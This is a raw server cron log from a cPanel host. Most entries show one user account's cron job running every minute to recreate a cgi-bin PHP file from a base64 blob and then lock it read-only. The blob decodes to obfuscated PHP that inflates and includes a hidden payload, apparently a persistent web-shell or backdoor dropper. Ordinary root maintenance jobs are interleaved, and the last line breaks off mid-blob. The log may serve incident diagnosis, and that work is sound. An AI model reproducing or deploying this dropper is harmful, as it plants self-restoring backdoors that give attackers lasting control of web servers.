Apr  9 21:17:01 server CROND[22534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:18:01 server CROND[22664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:19:01 server CROND[22707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:20:01 server CROND[22757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 21:20:01 server CROND[22758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:20:01 server CROND[22761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:20:01 server CROND[22762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 21:20:01 server CROND[22760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:21:01 server CROND[22880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:22:01 server CROND[22934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:23:01 server CROND[22986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:24:01 server CROND[23130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:25:01 server CROND[23184]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:25:01 server CROND[23185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:25:01 server CROND[23186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:26:01 server CROND[23303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:27:01 server CROND[23361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:27:01 server CROND[23362]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 21:28:01 server CROND[23413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:29:01 server CROND[23460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:30:01 server CROND[23525]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:30:01 server CROND[23524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:30:01 server CROND[23526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaA